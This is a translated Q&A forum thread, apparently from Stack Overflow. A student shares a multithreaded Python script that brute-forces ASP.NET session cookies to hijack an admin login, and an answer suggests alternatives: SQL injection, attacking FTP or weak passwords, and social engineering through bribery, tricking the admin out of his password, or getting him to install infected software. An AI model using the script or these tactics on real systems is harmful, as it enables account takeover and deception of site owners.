1

我是这里的新手。我正在为我的大学项目学习渗透测试,并希望以此发展未来。我有一个由我的朋友托管的网站(在双方同意的情况下),他挑战我入侵它。它是asp.net 中的一个简单站点,大概2.0 它使用表单登录该站点。据我了解,他正在生成 ASP.NET_SessionId 来存储身份验证。我试图从该站点退出,但 cookie 没有过期。现在我想尝试使用相同的方法登录到管理员帐户。我不知道他从哪里以管理员身份登录。我写了这个蛮力 python 脚本来做同样的事情,有 50 个线程。好像我产生了 50 多个然后会话开始超时。

#!/usr/bin/python
import urllib2
import string
import itertools
import threading

threadLimiter = threading.BoundedSemaphore(50)

class checkPage(threading.Thread):
    def __init__(self,sessionID):
        threading.Thread.__init__(self)
            self.sessionID=sessionID
    def run(self):
        threadLimiter.acquire()
        try:
             opener = urllib2.build_opener()
             opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
             f = opener.open("http://mysite.webber.org/default.aspx")
             page = f.read()
             f.close()
             #if logged in write to file
             if 'Welcome' in page:
                 k = open("session.txt","a")
                 k.write(self.sessionID+'\n')
                 k.close()
        finally:
            threadLimiter.release()

count = 0   
for state in itertools.product('abcdefghijklmnopqrstuvwxyz012345', repeat=24): 
     sessionID = ''.join(state)
     try:   
         thread=checkPage(sessionID)
         thread.start()
     except:
         print "thread cannot be started"
         break
     if count==50:
         thread.join()
         count = 0
    count += 1

根据 ASP.net,会话 ID 由 CreateSessionId 函数生成,并提供 24 字节的输出,其中包含 az 和 0-5。

我打算窃取管理员会话 ID,然后再次使用它登录页面并获得管理员访问权限。

这是一个正确的方法吗?

我认为这种蛮力可能会永远持续下去。减少蛮力时间的最佳选择是什么

谢谢你。

4

1 回答 1

3

暴力破解很烂。

不,真的很烂柠檬。

安全背后的整个想法不是让人们离开,而是让人们离开足够长的时间,让他们感到无聊,或者你发现他们闯入。会话 cookie 是在服务器端生成然后提供给客户端的东西,所以至少可以说,您在特定时刻强制使用其中一个正在使用的 cookie 是不可能的。

考虑替代方案可能是个好主意。

  1. 瞄准盒子本身

    这是一个可行的替代方案,而不是将您的精力集中在网站上尝试在那里找到漏洞,它可能会节省您的时间和精力来直接寻找不安全的盒子。也许利用不安全的密码策略,或攻击 FTP 等更不安全的服务会产生更好的结果

  2. SQL

    哦 SQL 我从哪里开始。这些天来,世界上的大多数人似乎都在运行你,而且大多数网站仍然没有正确地清理输入。这可能是一种情况,您可以在用户名框上进行 SQL 注入,不需要任何努力,您可以违反 SQL 服务器,或者只是获取数据库的转储,甚至在找出架构时将记录插入数据库。

  3. 社会工程学

    永远不要忽视安全的这一方面,人类是有代价的,你可以以合适的价格购买任何人。出于这个原因,你总是可以付钱给他以获得管理员访问权限,付钱给他设置你知道的密码,欺骗他直接透露他的密码。或者让他在盒子上安装受感染的软件。

还有很多其他可能的攻击媒介,这个列表可能会持续一段时间,因此我将保持简短和重点。这些应该给你一些想法,在进行渗透测试或审计时,对你的目标保持开放的心态是个好主意。只要记住黄金法则。

保持简单。愚蠢的。

于 2013-10-30T09:28:35.563 回答